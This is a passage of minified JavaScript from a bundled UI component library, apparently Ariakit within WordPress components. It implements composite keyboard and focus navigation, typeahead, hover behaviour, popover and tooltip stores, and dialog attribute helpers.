t=e,{store:n,composite:r=!0,focusOnMove:o=r,moveOnKeyPress:i=!0}=t,s=x(t,["store","composite","focusOnMove","moveOnKeyPress"]);const a=Rt();D(n=n||a,!1);const l=(0,B.useRef)(null),c=(0,B.useRef)(null),u=function(e){const[t,n]=(0,B.useState)(!1),r=(0,B.useCallback)((()=>n(!0)),[]),o=e.useState((t=>xt(e,t.activeId)));return(0,B.useEffect)((()=>{const e=null==o?void 0:o.element;t&&e&&(n(!1),e.focus({preventScroll:!0}))}),[o,t]),r}(n),d=n.useState("moves"),[,p]=je(r?n.setBaseElement:null);(0,B.useEffect)((()=>{var e;if(!n)return;if(!d)return;if(!r)return;if(!o)return;const{activeId:t}=n.getState(),i=null==(e=xt(n,t))?void 0:e.element;i&&function(e,t){"scrollIntoView"in e?(e.focus({preventScroll:!0}),e.scrollIntoView(E({block:"nearest",inline:"nearest"},t))):e.focus()}(i)}),[n,d,r,o]),_e((()=>{if(!n)return;if(!d)return;if(!r)return;const{baseElement:e,activeId:t}=n.getState();if(!(null===t))return;if(!e)return;const o=c.current;c.current=null,o&&he(o,{relatedTarget:e}),Gt(e)||e.focus()}),[n,d,r]);const f=n.useState("activeId"),h=n.useState("virtualFocus");_e((()=>{var e;if(!n)return;if(!r)return;if(!h)return;const t=c.current;if(c.current=null,!t)return;const o=(null==(e=xt(n,f))?void 0:e.element)||Y(t);o!==t&&he(t,{relatedTarget:o})}),[n,f,h,r]);const m=ln(n,s.onKeyDownCapture,c),g=ln(n,s.onKeyUpCapture,c),y=s.onFocusCapture,w=ke((e=>{if(null==y||y(e),e.defaultPrevented)return;if(!n)return;const{virtualFocus:t}=n.getState();if(!t)return;const r=e.relatedTarget,o=function(e){const t=e[yt];return delete e[yt],t}(e.currentTarget);de(e)&&o&&(e.stopPropagation(),c.current=r)})),_=s.onFocus,S=ke((e=>{if(null==_||_(e),e.defaultPrevented)return;if(!r)return;if(!n)return;const{relatedTarget:t}=e,{virtualFocus:o}=n.getState();o?de(e)&&!wt(n,t)&&queueMicrotask(u):de(e)&&n.setActiveId(null)})),C=s.onBlurCapture,k=ke((e=>{var t;if(null==C||C(e),e.defaultPrevented)return;if(!n)return;const{virtualFocus:r,activeId:o}=n.getState();if(!r)return;const i=null==(t=xt(n,o))?void 0:t.element,s=e.relatedTarget,a=wt(n,s),l=c.current;if(c.current=null,de(e)&&a)s===i?l&&l!==s&&he(l,e):i?he(i,e):l&&he(l,e),e.stopPropagation();else{!wt(n,e.target)&&i&&he(i,e)}})),j=s.onKeyDown,P=Re(i),N=ke((e=>{var t;if(null==j||j(e),e.defaultPrevented)return;if(!n)return;if(!de(e))return;const{orientation:r,renderedItems:o,activeId:i}=n.getState(),s=xt(n,i);if(null==(t=null==s?void 0:s.element)?void 0:t.isConnected)return;const a="horizontal"!==r,l="vertical"!==r,c=o.some((e=>!!e.rowId));if(("ArrowLeft"===e.key||"ArrowRight"===e.key||"Home"===e.key||"End"===e.key)&&te(e.currentTarget))return;const u={ArrowUp:(c||a)&&(()=>{if(c){const e=function(e){return function(e,t){return e.find((e=>t?!e.disabled&&e.id!==t:!e.disabled))}(at(lt(function(e){const t=[];for(const n of e){const e=t.find((e=>{var t;return(null==(t=e[0])?void 0:t.rowId)===n.rowId}));e?e.push(n):t.push([n])}return t}(e))))}(o);return null==e?void 0:e.id}return null==n?void 0:n.last()}),ArrowRight:(c||l)&&n.first,ArrowDown:(c||a)&&n.first,ArrowLeft:(c||l)&&n.last,Home:n.first,End:n.last,PageUp:n.first,PageDown:n.last},d=u[e.key];if(d){const t=d();if(void 0!==t){if(!P(e))return;e.preventDefault(),n.move(t)}}}));s=Me(s,(e=>(0,_t.jsx)(Mt,{value:n,children:e})),[n]);const T=n.useState((e=>{var t;if(n&&r&&e.virtualFocus)return null==(t=xt(n,e.activeId))?void 0:t.id}));s=b(v({"aria-activedescendant":T},s),{ref:Ee(l,p,s.ref),onKeyDownCapture:m,onKeyUpCapture:g,onFocusCapture:w,onFocus:S,onBlurCapture:k,onKeyDown:N});const I=n.useState((e=>r&&(e.virtualFocus||null===e.activeId)));return s=an(v({focusable:I},s))})),un=St((function(e){return kt("div",cn(e))}));const dn=(0,c.createContext)({}),pn=()=>(0,c.useContext)(dn);var fn=(0,B.createContext)(void 0),hn=jt((function(e){const[t,n]=(0,B.useState)();return e=Me(e,(e=>(0,_t.jsx)(fn.Provider,{value:n,children:e})),[]),L(e=v({role:"group","aria-labelledby":t},e))})),mn=(St((function(e){return kt("div",hn(e))})),jt((function(e){var t=e,{store:n}=t,r=x(t,["store"]);return r=hn(r)}))),gn=St((function(e){return kt("div",mn(e))}));const vn=(0,c.forwardRef)((function(e,t){var n;const r=pn(),o=null!==(n=e.store)&&void 0!==n?n:r.store;return(0,_t.jsx)(gn,{store:o,...e,ref:t})}));var bn=jt((function(e){const t=(0,B.useContext)(fn),n=Pe(e.id);return _e((()=>(null==t||t(n),()=>null==t?void 0:t(void 0))),[t,n]),L(e=v({id:n,"aria-hidden":!0},e))})),xn=(St((function(e){return kt("div",bn(e))})),jt((function(e){var t=e,{store:n}=t,r=x(t,["store"]);return r=bn(r)}))),yn=St((function(e){return kt("div",xn(e))}));const wn=(0,c.forwardRef)((function(e,t){var n;const r=pn(),o=null!==(n=e.store)&&void 0!==n?n:r.store;return(0,_t.jsx)(yn,{store:o,...e,ref:t})}));function _n(e){const t=e.relatedTarget;return(null==t?void 0:t.nodeType)===Node.ELEMENT_NODE?t:null}var Sn=Symbol("composite-hover");var Cn=jt((function(e){var t=e,{store:n,focusOnHover:r=!0,blurOnHoverEnd:o=!!r}=t,i=x(t,["store","focusOnHover","blurOnHoverEnd"]);const s=It();D(n=n||s,!1);const a=ze(),l=i.onMouseMove,c=Re(r),u=ke((e=>{if(null==l||l(e),!e.defaultPrevented&&a()&&c(e)){if(!Kt(e.currentTarget)){const e=null==n?void 0:n.getState().baseElement;e&&!Gt(e)&&e.focus()}null==n||n.setActiveId(e.currentTarget.id)}})),d=i.onMouseLeave,p=Re(o),f=ke((e=>{var t;null==d||d(e),e.defaultPrevented||a()&&(function(e){const t=_n(e);return!!t&&X(e.currentTarget,t)}(e)||function(e){let t=_n(e);if(!t)return!1;do{if(R(t,Sn)&&t[Sn])return!0;t=t.parentElement}while(t);return!1}(e)||c(e)&&p(e)&&(null==n||n.setActiveId(null),null==(t=null==n?void 0:n.getState().baseElement)||t.focus()))})),h=(0,B.useCallback)((e=>{e&&(e[Sn]=!0)}),[]);return L(i=b(v({},i),{ref:Ee(h,i.ref),onMouseMove:u,onMouseLeave:f}))})),kn=Ct(St((function(e){return kt("div",Cn(e))})));const jn=(0,c.forwardRef)((function(e,t){var n;const r=pn(),o=null!==(n=e.store)&&void 0!==n?n:r.store;return(0,_t.jsx)(kn,{store:o,...e,ref:t})}));var En=jt((function(e){var t=e,{store:n,shouldRegisterItem:r=!0,getItem:o=A,element:i}=t,s=x(t,["store","shouldRegisterItem","getItem","element"]);const a=Nt();n=n||a;const l=Pe(s.id),c=(0,B.useRef)(i);return(0,B.useEffect)((()=>{const e=c.current;if(!l)return;if(!e)return;if(!r)return;const t=o({id:l,element:e});return null==n?void 0:n.renderItem(t)}),[l,r,o,n]),L(s=b(v({},s),{ref:Ee(c,s.ref)}))}));St((function(e){return kt("div",En(e))}));function Pn(e){if(!e.isTrusted)return!1;const t=e.currentTarget;return"Enter"===e.key?Q(t)||"SUMMARY"===t.tagName||"A"===t.tagName:" "===e.key&&(Q(t)||"SUMMARY"===t.tagName||"INPUT"===t.tagName||"SELECT"===t.tagName)}var Nn=Symbol("command"),Tn=jt((function(e){var t=e,{clickOnEnter:n=!0,clickOnSpace:r=!0}=t,o=x(t,["clickOnEnter","clickOnSpace"]);const i=(0,B.useRef)(null),[s,a]=(0,B.useState)(!1);(0,B.useEffect)((()=>{i.current&&a(Q(i.current))}),[]);const[l,c]=(0,B.useState)(!1),u=(0,B.useRef)(!1),d=O(o),[p,f]=De(o,Nn,!0),h=o.onKeyDown,m=ke((e=>{null==h||h(e);const t=e.currentTarget;if(e.defaultPrevented)return;if(p)return;if(d)return;if(!de(e))return;if(te(t))return;if(t.isContentEditable)return;const o=n&&"Enter"===e.key,i=r&&" "===e.key,s="Enter"===e.key&&!n,a=" "===e.key&&!r;if(s||a)e.preventDefault();else if(o||i){const n=Pn(e);if(o){if(!n){e.preventDefault();const n=e,{view:r}=n,o=x(n,["view"]),i=()=>me(t,o);G&&/firefox\//i.test(navigator.userAgent)?ve(t,"keyup",i):queueMicrotask(i)}}else i&&(u.current=!0,n||(e.preventDefault(),c(!0)))}})),g=o.onKeyUp,y=ke((e=>{if(null==g||g(e),e.defaultPrevented)return;if(p)return;if(d)return;if(e.metaKey)return;const t=r&&" "===e.key;if(u.current&&t&&(u.current=!1,!Pn(e))){e.preventDefault(),c(!1);const t=e.currentTarget,n=e,{view:r}=n,o=x(n,["view"]);queueMicrotask((()=>me(t,o)))}}));return o=b(v(v({"data-active":l||void 0,type:s?"button":void 0},f),o),{ref:Ee(i,o.ref),onKeyDown:m,onKeyUp:y}),o=an(o)}));St((function(e){return kt("button",Tn(e))}));function In(e,t=!1){const{top:n}=e.getBoundingClientRect();return t?n+e.clientHeight:n}function Rn(e,t,n,r=!1){var o;if(!t)return;if(!n)return;const{renderedItems:i}=t.getState(),s=ie(e);if(!s)return;const a=function(e,t=!1){const n=e.clientHeight,{top:r}=e.getBoundingClientRect(),o=1.5*Math.max(.875*n,n-40),i=t?n-o+r:o+r;return"HTML"===e.tagName?i+e.scrollTop:i}(s,r);let l,c;for(let e=0;e<i.length;e+=1){const i=l;if(l=n(e),!l)break;if(l===i)continue;const s=null==(o=xt(t,l))?void 0:o.element;if(!s)continue;const u=In(s,r)-a,d=Math.abs(u);if(r&&u<=0||!r&&u>=0){void 0!==c&&c<d&&(l=i);break}c=d}return l}var Mn=jt((function(e){var t=e,{store:n,rowId:r,preventScrollOnKeyDown:o=!1,moveOnKeyPress:i=!0,tabbable:s=!1,getItem:a,"aria-setsize":l,"aria-posinset":c}=t,u=x(t,["store","rowId","preventScrollOnKeyDown","moveOnKeyPress","tabbable","getItem","aria-setsize","aria-posinset"]);const d=It();n=n||d;const p=Pe(u.id),f=(0,B.useRef)(null),h=(0,B.useContext)(zt),m=O(u)&&!u.accessibleWhenDisabled,{rowId:g,baseElement:y,isActiveItem:w,ariaSetSize:_,ariaPosInSet:S,isTabbable:C}=tt(n,{rowId:e=>r||(e&&(null==h?void 0:h.baseElement)&&h.baseElement===e.baseElement?h.id:void 0),baseElement:e=>(null==e?void 0:e.baseElement)||void 0,isActiveItem:e=>!!e&&e.activeId===p,ariaSetSize:e=>null!=l?l:e&&(null==h?void 0:h.ariaSetSize)&&h.baseElement===e.baseElement?h.ariaSetSize:void 0,ariaPosInSet(e){if(null!=c)return c;if(!e)return;if(!(null==h?void 0:h.ariaPosInSet))return;if(h.baseElement!==e.baseElement)return;const t=e.renderedItems.filter((e=>e.rowId===g));return h.ariaPosInSet+t.findIndex((e=>e.id===p))},isTabbable(e){if(!(null==e?void 0:e.renderedItems.length))return!0;if(e.virtualFocus)return!1;if(s)return!0;if(null===e.activeId)return!1;const t=null==n?void 0:n.item(e.activeId);return!!(null==t?void 0:t.disabled)||(!(null==t?void 0:t.element)||e.activeId===p)}}),k=(0,B.useCallback)((e=>{var t;const n=b(v({},e),{id:p||e.id,rowId:g,disabled:!!m,children:null==(t=e.element)?void 0:t.textContent});return a?a(n):n}),[p,g,m,a]),j=u.onFocus,E=(0,B.useRef)(!1),P=ke((e=>{if(null==j||j(e),e.defaultPrevented)return;if(ue(e))return;if(!p)return;if(!n)return;if(function(e,t){return!de(e)&&wt(t,e.target)}(e,n))return;const{virtualFocus:t,baseElement:r}=n.getState();if(n.setActiveId(p),ne(e.currentTarget)&&function(e,t=!1){if(te(e))e.setSelectionRange(t?e.value.length:0,e.value.length);else if(e.isContentEditable){const n=K(e).getSelection();null==n||n.selectAllChildren(e),t&&(null==n||n.collapseToEnd())}}(e.currentTarget),!t)return;if(!de(e))return;if(ne(o=e.currentTarget)||"INPUT"===o.tagName&&!Q(o))return;var o;if(!(null==r?void 0:r.isConnected))return;le()&&e.currentTarget.hasAttribute("data-autofocus")&&e.currentTarget.scrollIntoView({block:"nearest",inline:"nearest"}),E.current=!0;e.relatedTarget===r||wt(n,e.relatedTarget)?function(e){e[yt]=!0,e.focus({preventScroll:!0})}(r):r.focus()})),N=u.onBlurCapture,T=ke((e=>{if(null==N||N(e),e.defaultPrevented)return;const t=null==n?void 0:n.getState();(null==t?void 0:t.virtualFocus)&&E.current&&(E.current=!1,e.preventDefault(),e.stopPropagation())})),I=u.onKeyDown,R=Re(o),M=Re(i),A=ke((e=>{if(null==I||I(e),e.defaultPrevented)return;if(!de(e))return;if(!n)return;const{currentTarget:t}=e,r=n.getState(),o=n.item(p),i=!!(null==o?void 0:o.rowId),s="horizontal"!==r.orientation,a="vertical"!==r.orientation,l=()=>!!i||(!!a||(!r.baseElement||!te(r.baseElement))),c={ArrowUp:(i||s)&&n.up,ArrowRight:(i||a)&&n.next,ArrowDown:(i||s)&&n.down,ArrowLeft:(i||a)&&n.previous,Home:()=>{if(l())return!i||e.ctrlKey?null==n?void 0:n.first():null==n?void 0:n.previous(-1)},End:()=>{if(l())return!i||e.ctrlKey?null==n?void 0:n.last():null==n?void 0:n.next(-1)},PageUp:()=>Rn(t,n,null==n?void 0:n.up,!0),PageDown:()=>Rn(t,n,null==n?void 0:n.down)}[e.key];if(c){if(ne(t)){const n=function(e){let t=0,n=0;if(te(e))t=e.selectionStart||0,n=e.selectionEnd||0;else if(e.isContentEditable){const r=K(e).getSelection();if((null==r?void 0:r.rangeCount)&&r.anchorNode&&X(e,r.anchorNode)&&r.focusNode&&X(e,r.focusNode)){const o=r.getRangeAt(0),i=o.cloneRange();i.selectNodeContents(e),i.setEnd(o.startContainer,o.startOffset),t=i.toString().length,i.setEnd(o.endContainer,o.endOffset),n=i.toString().length}}return{start:t,end:n}}(t),r=a&&"ArrowLeft"===e.key,o=a&&"ArrowRight"===e.key,i=s&&"ArrowUp"===e.key,l=s&&"ArrowDown"===e.key;if(o||l){const{length:e}=function(e){if(te(e))return e.value;if(e.isContentEditable){const t=K(e).createRange();return t.selectNodeContents(e),t.toString()}return""}(t);if(n.end!==e)return}else if((r||i)&&0!==n.start)return}const r=c();if(R(e)||void 0!==r){if(!M(e))return;e.preventDefault(),n.move(r)}}})),D=(0,B.useMemo)((()=>({id:p,baseElement:y})),[p,y]);return u=Me(u,(e=>(0,_t.jsx)(Dt.Provider,{value:D,children:e})),[D]),u=b(v({id:p,"data-active-item":w||void 0},u),{ref:Ee(f,u.ref),tabIndex:C?u.tabIndex:-1,onFocus:P,onBlurCapture:T,onKeyDown:A}),u=Tn(u),u=En(b(v({store:n},u),{getItem:k,shouldRegisterItem:!!p&&u.shouldRegisterItem})),L(b(v({},u),{"aria-setsize":_,"aria-posinset":S}))})),An=Ct(St((function(e){return kt("button",Mn(e))})));const Dn=(0,c.forwardRef)((function(e,t){var n;const r=pn(),o=null!==(n=e.store)&&void 0!==n?n:r.store;return(0,_t.jsx)(An,{store:o,...e,ref:t})}));var zn=jt((function(e){var t=e,{store:n,"aria-setsize":r,"aria-posinset":o}=t,i=x(t,["store","aria-setsize","aria-posinset"]);const s=It();D(n=n||s,!1);const a=Pe(i.id),l=n.useState((e=>e.baseElement||void 0)),c=(0,B.useMemo)((()=>({id:a,baseElement:l,ariaSetSize:r,ariaPosInSet:o})),[a,l,r,o]);return i=Me(i,(e=>(0,_t.jsx)(zt.Provider,{value:c,children:e})),[c]),L(i=v({id:a},i))})),On=St((function(e){return kt("div",zn(e))}));const Ln=(0,c.forwardRef)((function(e,t){var n;const r=pn(),o=null!==(n=e.store)&&void 0!==n?n:r.store;return(0,_t.jsx)(On,{store:o,...e,ref:t})}));var Fn="";function Bn(){Fn=""}function Vn(e,t){var n;const r=(null==(n=e.element)?void 0:n.textContent)||e.children||"value"in e&&e.value;return!!r&&(o=r,o.normalize("NFD").replace(/[\u0300-\u036f]/g,"")).trim().toLowerCase().startsWith(t.toLowerCase());var o}function $n(e,t,n){if(!n)return e;const r=e.find((e=>e.id===n));return r&&Vn(r,t)?Fn!==t&&Vn(r,Fn)?e:(Fn=t,function(e,t,n=!1){const r=e.findIndex((e=>e.id===t));return[...e.slice(r+1),...n?[bt]:[],...e.slice(0,r)]}(e.filter((e=>Vn(e,Fn))),n).filter((e=>e.id!==n))):e}var Hn=jt((function(e){var t=e,{store:n,typeahead:r=!0}=t,o=x(t,["store","typeahead"]);const i=It();D(n=n||i,!1);const s=o.onKeyDownCapture,a=(0,B.useRef)(0),l=ke((e=>{if(null==s||s(e),e.defaultPrevented)return;if(!r)return;if(!n)return;if(!function(e){const t=e.target;return(!t||!te(t))&&(!(" "!==e.key||!Fn.length)||1===e.key.length&&!e.ctrlKey&&!e.altKey&&!e.metaKey&&/^[\p{Letter}\p{Number}]$/u.test(e.key))}(e))return Bn();const{renderedItems:t,items:o,activeId:i,id:l}=n.getState();let c=function(e){return e.filter((e=>!e.disabled))}(o.length>t.length?o:t);const u=`[data-offscreen-id="${l}"]`,d=K(e.currentTarget).querySelectorAll(u);for(const e of d){const t="true"===e.ariaDisabled||"disabled"in e&&!!e.disabled;c.push({id:e.id,element:e,disabled:t})}if(d.length&&(c=se(c,(e=>e.element))),!function(e,t){if(de(e))return!0;const n=e.target;if(!n)return!1;const r=t.some((e=>e.element===n));return r}(e,c))return Bn();e.preventDefault(),window.clearTimeout(a.current),a.current=window.setTimeout((()=>{Fn=""}),500);const p=e.key.toLowerCase();Fn+=p,c=$n(c,p,i);const f=c.find((e=>Vn(e,Fn)));f?n.move(f.id):Bn()}));return L(o=b(v({},o),{onKeyDownCapture:l}))})),Wn=St((function(e){return kt("div",Hn(e))}));const Un=(0,c.forwardRef)((function(e,t){var n;const r=pn(),o=null!==(n=e.store)&&void 0!==n?n:r.store;return(0,_t.jsx)(Wn,{store:o,...e,ref:t})})),Gn=Object.assign((0,c.forwardRef)((function({activeId:e,defaultActiveId:t,setActiveId:n,focusLoop:r=!1,focusWrap:o=!1,focusShift:i=!1,virtualFocus:s=!1,orientation:l="both",rtl:u=(0,a.isRTL)(),children:d,disabled:p=!1,...f},h){const m=f.store,g=vt({activeId:e,defaultActiveId:t,setActiveId:n,focusLoop:r,focusWrap:o,focusShift:i,virtualFocus:s,orientation:l,rtl:u}),v=null!=m?m:g,b=(0,c.useMemo)((()=>({store:v})),[v]);return(0,_t.jsx)(un,{disabled:p,store:v,...f,ref:h,children:(0,_t.jsx)(dn.Provider,{value:b,children:d})})})),{Group:Object.assign(vn,{displayName:"Composite.Group"}),GroupLabel:Object.assign(wn,{displayName:"Composite.GroupLabel"}),Item:Object.assign(Dn,{displayName:"Composite.Item"}),Row:Object.assign(Ln,{displayName:"Composite.Row"}),Hover:Object.assign(jn,{displayName:"Composite.Hover"}),Typeahead:Object.assign(Un,{displayName:"Composite.Typeahead"}),Context:Object.assign(dn,{displayName:"Composite.Context"})});function Kn(e={}){const t=Xe(e.store,Ye(e.disclosure,["contentElement","disclosureElement"])),n=null==t?void 0:t.getState(),r=F(e.open,null==n?void 0:n.open,e.defaultOpen,!1),o=F(e.animated,null==n?void 0:n.animated,!1),i=He({open:r,animated:o,animating:!!o&&r,mounted:r,contentElement:F(null==n?void 0:n.contentElement,null),disclosureElement:F(null==n?void 0:n.disclosureElement,null)},t);return We(i,(()=>Ke(i,["animated","animating"],(e=>{e.animated||i.setState("animating",!1)})))),We(i,(()=>Ge(i,["open"],(()=>{i.getState().animated&&i.setState("animating",!0)})))),We(i,(()=>Ke(i,["open","animating"],(e=>{i.setState("mounted",e.open||e.animating)})))),P(E({},i),{disclosure:e.disclosure,setOpen:e=>i.setState("open",e),show:()=>i.setState("open",!0),hide:()=>i.setState("open",!1),toggle:()=>i.setState("open",(e=>!e)),stopAnimation:()=>i.setState("animating",!1),setContentElement:e=>i.setState("contentElement",e),setDisclosureElement:e=>i.setState("disclosureElement",e)})}function qn(e,t,n){return Te(t,[n.store,n.disclosure]),nt(e,n,"open","setOpen"),nt(e,n,"mounted","setMounted"),nt(e,n,"animated"),Object.assign(e,{disclosure:n.disclosure})}function Yn(e={}){const[t,n]=rt(Kn,e);return qn(t,n,e)}function Xn(e={}){return Kn(e)}function Zn(e,t,n){return qn(e,t,n)}function Qn(e,t,n){return Te(t,[n.popover]),nt(e,n,"placement"),Zn(e,t,n)}function Jn(e,t,n){return nt(e,n,"timeout"),nt(e,n,"showTimeout"),nt(e,n,"hideTimeout"),Qn(e,t,n)}function er(e={}){var t=e,{popover:n}=t,r=N(t,["popover"]);const o=Xe(r.store,Ye(n,["arrowElement","anchorElement","contentElement","popoverElement","disclosureElement"])),i=null==o?void 0:o.getState(),s=Xn(P(E({},r),{store:o})),a=F(r.placement,null==i?void 0:i.placement,"bottom"),l=He(P(E({},s.getState()),{placement:a,currentPlacement:a,anchorElement:F(null==i?void 0:i.anchorElement,null),popoverElement:F(null==i?void 0:i.popoverElement,null),arrowElement:F(null==i?void 0:i.arrowElement,null),rendered:Symbol("rendered")}),s,o);return P(E(E({},s),l),{setAnchorElement:e=>l.setState("anchorElement",e),setPopoverElement:e=>l.setState("popoverElement",e),setArrowElement:e=>l.setState("arrowElement",e),render:()=>l.setState("rendered",Symbol("rendered"))})}function tr(e={}){var t;const n=null==(t=e.store)?void 0:t.getState(),r=er(P(E({},e),{placement:F(e.placement,null==n?void 0:n.placement,"bottom")})),o=F(e.timeout,null==n?void 0:n.timeout,500),i=He(P(E({},r.getState()),{timeout:o,showTimeout:F(e.showTimeout,null==n?void 0:n.showTimeout),hideTimeout:F(e.hideTimeout,null==n?void 0:n.hideTimeout),autoFocusOnShow:F(null==n?void 0:n.autoFocusOnShow,!1)}),r,e.store);return P(E(E({},r),i),{setAutoFocusOnShow:e=>i.setState("autoFocusOnShow",e)})}function nr(e={}){var t;const n=null==(t=e.store)?void 0:t.getState(),r=tr(P(E({},e),{placement:F(e.placement,null==n?void 0:n.placement,"top"),hideTimeout:F(e.hideTimeout,null==n?void 0:n.hideTimeout,0)})),o=He(P(E({},r.getState()),{type:F(e.type,null==n?void 0:n.type,"description"),skipTimeout:F(e.skipTimeout,null==n?void 0:n.skipTimeout,300)}),r,e.store);return E(E({},r),o)}function rr(e={}){const[t,n]=rt(nr,e);return function(e,t,n){return nt(e,n,"type"),nt(e,n,"skipTimeout"),Jn(e,t,n)}(t,n,e)}jt((function(e){return e}));var or=St((function(e){return kt("div",e)}));Object.assign(or,["a","button","details","dialog","div","form","h1","h2","h3","h4","h5","h6","header","img","input","label","li","nav","ol","p","section","select","span","summary","textarea","ul","svg"].reduce(((e,t)=>(e[t]=St((function(e){return kt(t,e)})),e)),{}));var ir=Et(),sr=(ir.useContext,ir.useScopedContext,ir.useProviderContext),ar=Et([ir.ContextProvider],[ir.ScopedContextProvider]),lr=(ar.useContext,ar.useScopedContext,ar.useProviderContext),cr=ar.ContextProvider,ur=ar.ScopedContextProvider,dr=(0,B.createContext)(void 0),pr=(0,B.createContext)(void 0),fr=Et([cr],[ur]),hr=fr.useContext,mr=(fr.useScopedContext,fr.useProviderContext),gr=fr.ContextProvider,vr=fr.ScopedContextProvider,br=Et([gr],[vr]),xr=(br.useContext,br.useScopedContext,br.useProviderContext),yr=br.ContextProvider,wr=br.ScopedContextProvider,_r=jt((function(e){var t=e,{store:n,showOnHover:r=!0}=t,o=x(t,["store","showOnHover"]);const i=xr();D(n=n||i,!1);const s=O(o),a=(0,B.useRef)(0);(0,B.useEffect)((()=>()=>window.clearTimeout(a.current)),[]),(0,B.useEffect)((()=>be("mouseleave",(e=>{if(!n)return;const{anchorElement:t}=n.getState();t&&e.target===t&&(window.clearTimeout(a.current),a.current=0)}),!0)),[n]);const l=o.onMouseMove,c=Re(r),u=ze(),d=ke((e=>{if(null==l||l(e),s)return;if(!n)return;if(e.defaultPrevented)return;if(a.current)return;if(!u())return;if(!c(e))return;const t=e.currentTarget;n.setAnchorElement(t),n.setDisclosureElement(t);const{showTimeout:r,timeout:o}=n.getState(),i=()=>{a.current=0,u()&&(null==n||n.setAnchorElement(t),null==n||n.show(),queueMicrotask((()=>{null==n||n.setDisclosureElement(t)})))},d=null!=r?r:o;0===d?i():a.current=window.setTimeout(i,d)})),p=o.onClick,f=ke((e=>{null==p||p(e),n&&(window.clearTimeout(a.current),a.current=0)})),h=(0,B.useCallback)((e=>{if(!n)return;const{anchorElement:t}=n.getState();(null==t?void 0:t.isConnected)||n.setAnchorElement(e)}),[n]);return o=b(v({},o),{ref:Ee(h,o.ref),onMouseMove:d,onClick:f}),o=an(o)})),Sr=(St((function(e){return kt("a",_r(e))})),Et([yr],[wr])),Cr=(Sr.useContext,Sr.useScopedContext,Sr.useProviderContext),kr=(Sr.ContextProvider,Sr.ScopedContextProvider),jr=He({activeStore:null});function Er(e){return()=>{const{activeStore:t}=jr.getState();t===e&&jr.setState("activeStore",null)}}var Pr=jt((function(e){var t=e,{store:n,showOnHover:r=!0}=t,o=x(t,["store","showOnHover"]);const i=Cr();D(n=n||i,!1);const s=(0,B.useRef)(!1);(0,B.useEffect)((()=>Ke(n,["mounted"],(e=>{e.mounted||(s.current=!1)}))),[n]),(0,B.useEffect)((()=>{if(n)return M(Er(n),Ke(n,["mounted","skipTimeout"],(e=>{if(!n)return;if(e.mounted){const{activeStore:e}=jr.getState();return e!==n&&(null==e||e.hide()),jr.setState("activeStore",n)}const t=setTimeout(Er(n),e.skipTimeout);return()=>clearTimeout(t)})))}),[n]);const a=o.onMouseEnter,l=ke((e=>{null==a||a(e),s.current=!0})),c=o.onFocusVisible,u=ke((e=>{null==c||c(e),e.defaultPrevented||(null==n||n.setAnchorElement(e.currentTarget),null==n||n.show())})),d=o.onBlur,p=ke((e=>{if(null==d||d(e),e.defaultPrevented)return;const{activeStore:t}=jr.getState();s.current=!1,t===n&&jr.setState("activeStore",null)})),f=n.useState("type"),h=n.useState((e=>{var t;return null==(t=e.contentElement)?void 0:t.id}));return o=b(v({"aria-labelledby":"label"===f?h:void 0},o),{onMouseEnter:l,onFocusVisible:u,onBlur:p}),o=_r(v({store:n,showOnHover(e){if(!s.current)return!1;if(z(r,e))return!1;const{activeStore:t}=jr.getState();return!t||(null==n||n.show(),!1)}},o))})),Nr=St((function(e){return kt("div",Pr(e))}));function Tr(e){return[e.clientX,e.clientY]}function Ir(e,t){const[n,r]=e;let o=!1;for(let e=t.length,i=0,s=e-1;i<e;s=i++){const[a,l]=t[i],[c,u]=t[s],[,d]=t[0===s?e-1:s-1]||[0,0],p=(l-u)*(n-a)-(a-c)*(r-l);if(u<l){if(r>=u&&r<l){if(0===p)return!0;p>0&&(r===u?r>d&&(o=!o):o=!o)}}else if(l<u){if(r>l&&r<=u){if(0===p)return!0;p<0&&(r===u?r<d&&(o=!o):o=!o)}}else if(r===l&&(n>=c&&n<=a||n>=a&&n<=c))return!0}return o}function Rr(e,t){const n=e.getBoundingClientRect(),{top:r,right:o,bottom:i,left:s}=n,[a,l]=function(e,t){const{top:n,right:r,bottom:o,left:i}=t,[s,a]=e;return[s<i?"left":s>r?"right":null,a<n?"top":a>o?"bottom":null]}(t,n),c=[t];return a?("top"!==l&&c.push(["left"===a?s:o,r]),c.push(["left"===a?o:s,r]),c.push(["left"===a?o:s,i]),"bottom"!==l&&c.push(["left"===a?s:o,i])):"top"===l?(c.push([s,r]),c.push([s,i]),c.push([o,i]),c.push([o,r])):(c.push([s,i]),c.push([s,r]),c.push([o,r]),c.push([o,i])),c}function Mr(e,...t){if(!e)return!1;const n=e.getAttribute("data-backdrop");return null!=n&&(""===n||("true"===n||(!t.length||t.some((e=>n===e)))))}var Ar=new WeakMap;function Dr(e,t,n){Ar.has(e)||Ar.set(e,new Map);const r=Ar.get(e),o=r.get(t);if(!o)return r.set(t,n()),()=>{var e;null==(e=r.get(t))||e(),r.delete(t)};const i=n(),s=()=>{i(),o(),r.delete(t)};return r.set(t,s),()=>{r.get(t)===s&&(i(),r.set(t,o))}}function zr(e,t,n){return Dr(e,t,(()=>{const r=e.getAttribute(t);return e.setAttribute(t,n),()=>{null==r?e.removeAttribute(t):e.setAttribute(t,r)}}))}function Or(e,t,n){return Dr(e,t,(()=>{const r=t in e,o=e[t];return e[t]=n,()=>{r?e[t]=o:delete e[t]}}))}function Lr(e,t){if(!e)return()=>{};return Dr(e,"style",(()=>{const n=e.style.cssText;return Object.assign(e.style,t),()=>{e.style.cssText=n}}))}var Fr=["SCRIPT","STYLE"];function Br(e){return`__ariakit-dialog-snapshot-${e}`}function Vr(e,t,n){return!Fr.includes(t.tagName)&&(!!function(e,t){const n=K(t),r=Br(e);if(!n.body[r])return!0;for(;;){if(t===n.body)return!1;if(t[r])return!0;if(!t.parentElement)return!1;t=t.parentElement}}(e,t)&&!n.some((e=>e&&X(t,e))))}function $r(e,t,n,r){for(let o of t){if(!(null==o?void 0:o.isConnected))continue;const i=t.some((e=>!!e&&(e!==o&&e.contains(o)))),s=K(o),a=o;for(;o.parentElement&&o!==s.body;){if(null==r||r(o.parentElement,a),!i)for(const r of o.parentElement.children)Vr(e,r,t)&&n(r,a);o=o.parentElement}}}function Hr(e="",t=!1){return`__ariakit-dialog-${t?"ancestor":"outside"}${e?`-${e}`:""}`}function Wr(e,t=""){return M(Or(e,Hr("",!0),!0),Or(e,Hr(t,!0),!0))}function Ur(e,t){if(e[Hr(t,!0)])return!0;const n=Hr(t);for(;;){if(e[n])return!0;if(!e.parentElement)return!1;e=e.parentElement}}function Gr(e,t){const n=[],r=t.map((e=>null==e?void 